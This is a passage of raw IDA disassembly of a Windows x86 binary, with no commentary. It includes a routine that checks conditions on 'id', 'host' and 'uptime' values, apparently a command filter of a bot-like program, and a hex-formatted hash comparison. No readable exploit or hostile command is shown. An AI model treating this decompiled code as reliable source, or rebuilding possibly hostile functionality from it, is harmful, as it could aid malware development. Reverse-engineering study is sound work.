2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_401582 add esp, 2000h retn sub_412900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412970 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412970 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_4129A7 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_4129A7: ; CODE XREF: sub_412970+21j lea ecx, [esp+40h+var_3C] call sub_401424 mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_4129C8 mov eax, dword_447100 push eax jmp short loc_4129CF ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_412970+4Ej mov ecx, dword_447108 push ecx loc_4129CF: ; CODE XREF: sub_412970+56j lea ecx, [esp+44h+var_3C] call sub_4015D7 push ebx lea ecx, [esp+44h+var_24] call sub_401424 mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+50h+var_24] push offset dword_443CEC push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014D3 push eax mov ecx, esi call sub_401582 lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412970 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412AA0 proc near ; CODE XREF: sub_401848j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412AA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B20 proc near ; CODE XREF: sub_401D0Cj push esi mov esi, ecx call sub_401FB9 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412B20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B50 proc near ; CODE XREF: sub_401FB9j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop esi retn sub_412B50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B90 proc near ; CODE XREF: sub_401721j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412B90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412BC0 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412BC0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C10 proc near ; CODE XREF: sub_401F00j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412C10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_412C10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412CB0: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43994E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_412FD6 push ebx push edi push offset asc_443600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016AE push offset asc_443600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016AE push offset asc_443600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016AE mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013D9 lea ecx, [esp+28h] mov ebx, eax call sub_4013D9 lea ecx, [esp+40h] add ebx, eax call sub_4013D9 mov ecx, edi add ebx, eax call sub_4013D9 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E2E push offset asc_443600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016AE lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E2E push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40200E lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40200E push offset asc_443D40 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E35 xor edi, edi loc_412E35: ; CODE XREF: ___:00412E31j push offset asc_443D3C ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E4C mov edi, 1 loc_412E4C: ; CODE XREF: ___:00412E45j push offset asc_443D38 ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E63 mov edi, 2 loc_412E63: ; CODE XREF: ___:00412E5Cj push offset asc_443D34 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E7A mov edi, 3 loc_412E7A: ; CODE XREF: ___:00412E73j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412ED4 test edi, edi jnz short loc_412EAA lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44759A call sub_4012EE test eax, eax jz short loc_412ED4 jmp short loc_412EC7 ; --------------------------------------------------------------------------- loc_412EAA: ; CODE XREF: ___:00412E8Ej cmp edi, 1 jnz short loc_412ED4 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44759A call sub_4012EE test eax, eax jnz short loc_412ED4 loc_412EC7: ; CODE XREF: ___:00412EA8j push 0 push esi mov ecx, offset byte_4472B7 call sub_401A32 loc_412ED4: ; CODE XREF: ___:00412E8Aj ; ___:00412EA6j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F27 test edi, edi jnz short loc_412F08 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60DD call sub_4013E3 test eax, eax jnz loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F08: ; CODE XREF: ___:00412EE8j cmp edi, 1 jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60DD call sub_4013E3 test eax, eax jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F27: ; CODE XREF: ___:00412EE4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_401654 test edi, edi jnz short loc_412F5D cmp eax, ebx jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F5D: ; CODE XREF: ___:00412F55j cmp edi, 1 jnz short loc_412F68 cmp eax, ebx jnz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F68: ; CODE XREF: ___:00412F60j cmp edi, 2 jnz short loc_412F73 cmp eax, ebx jle short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F73: ; CODE XREF: ___:00412F6Bj cmp edi, 3 jnz short loc_412F89 cmp eax, ebx jge short loc_412F89 loc_412F7C: ; CODE XREF: ___:00412F06j ; ___:00412F25j ... push 0 push esi mov ecx, offset byte_4472B7 call sub_401A32 loc_412F89: ; CODE XREF: ___:00412F00j ; ___:00412F0Bj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD6: ; CODE XREF: ___:00412CE9j mov al, 1 loc_412FD8: ; CODE XREF: ___:00412FD4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4130E0 proc near ; CODE XREF: sub_401654j call near ptr 27F0769h nop mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4130E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413120 proc near ; CODE XREF: sub_401FFAj var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413120 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401749 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F05 sub_413120 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401843 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43E044 call sub_401924 mov ecx, ebx call sub_401C62 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j push esi mov esi, ecx call sub_401C8F sub_4131F0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_413208 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_413208: ; CODE XREF: ___:004131FDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413220 proc near ; CODE XREF: sub_401C8Fj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413220 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43E044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401924 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C62 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014B5 sub_413220 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132E0 proc near ; CODE XREF: sub_4019F6j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4132E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019B5 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4133D0 proc near ; CODE XREF: sub_401CD0j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4133D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017E4 test eax, eax jz short loc_413477 lea ecx, [esp+18h+var_14] call sub_402252 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413477 loc_413438: ; CODE XREF: sub_4133D0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41349C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413438 loc_413477: ; CODE XREF: sub_4133D0+2Ej ; sub_4133D0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41349C: ; CODE XREF: sub_4133D0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4133D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413510 proc near ; CODE XREF: sub_402112j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_413510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017E4 test eax, eax jz loc_4135E3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401983 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jz short loc_4135E3 loc_41357F: ; CODE XREF: sub_413510+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014C9 mov ecx, ebx call sub_401CD0 mov esi, eax test esi, esi jz short loc_4135AC mov edi, [esi] loc_4135AC: ; CODE XREF: sub_413510+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B72 test eax, eax jz short loc_41360B test esi, esi jnz short loc_41360B lea ecx, [esp+28h+var_18] call sub_4018B6 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jnz short loc_41357F loc_4135E3: ; CODE XREF: sub_413510+31j ; sub_413510+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4135F6: ; CODE XREF: sub_413510+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_41360B: ; CODE XREF: sub_413510+AAj ; sub_413510+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4135F6 sub_413510 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413670 proc near ; CODE XREF: sub_401F46j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413670 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017E4 test eax, eax jz short loc_413714 lea ecx, [esp+14h+var_14] call sub_401E1F lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jz short loc_413714 loc_4136D6: ; CODE XREF: sub_413670+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jz short loc_413746 lea ecx, [esp+14h+var_14] call sub_4020A4 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jnz short loc_4136D6 loc_413714: ; CODE XREF: sub_413670+2Bj ; sub_413670+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401578 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413746: ; CODE XREF: sub_413670+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FA5 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401578 sub_413670 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4137E0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4137E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017E4 test eax, eax jz loc_413913 lea eax, [esp+0A8h+var_64] push eax call sub_401A55 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_401424 push offset byte_446F70 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015D7 lea ecx, [esp+0A8h+arg_0] call sub_4013D9 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014D3 lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C12 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402158 add esp, 14h loc_41387B: ; CODE XREF: sub_4137E0+E8j lea ecx, [esp+0A8h+var_8C] call sub_401424 xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016BD lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41387B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B72 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_41390E call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_41392C ; --------------------------------------------------------------------------- loc_41390E: ; CODE XREF: sub_4137E0+10Cj call sub_401226 loc_413913: ; CODE XREF: sub_4137E0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_41392C: ; CODE XREF: sub_4137E0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4137E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4139B0 proc near ; CODE XREF: sub_40191Fj var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4139B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014C9 mov ecx, esi call sub_402112 test eax, eax jz short loc_413A5E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_40171C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014C9 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F46 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413A5E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413A5E: ; CODE XREF: sub_4139B0+3Fj ; sub_4139B0+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_4139B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413AE0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_439B08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40191F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413B70 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413B70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413CB9 lea ecx, [esp+48h+arg_0] call sub_4017E4 test eax, eax jz loc_413CB9 push esi push edi push offset asc_443C94 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413C93 add ebp, 54h loc_413BF0: ; CODE XREF: sub_413B70+11Dj push 15h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413C10 mov ecx, eax call sub_401F2D jmp short loc_413C12 ; --------------------------------------------------------------------------- loc_413C10: ; CODE XREF: sub_413B70+95j xor eax, eax loc_413C12: ; CODE XREF: sub_413B70+9Ej push offset asc_443C94 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016AE mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40200E lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_40147E ; --------------------------------------------------------------------------- inc esi push offset asc_443C94 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea 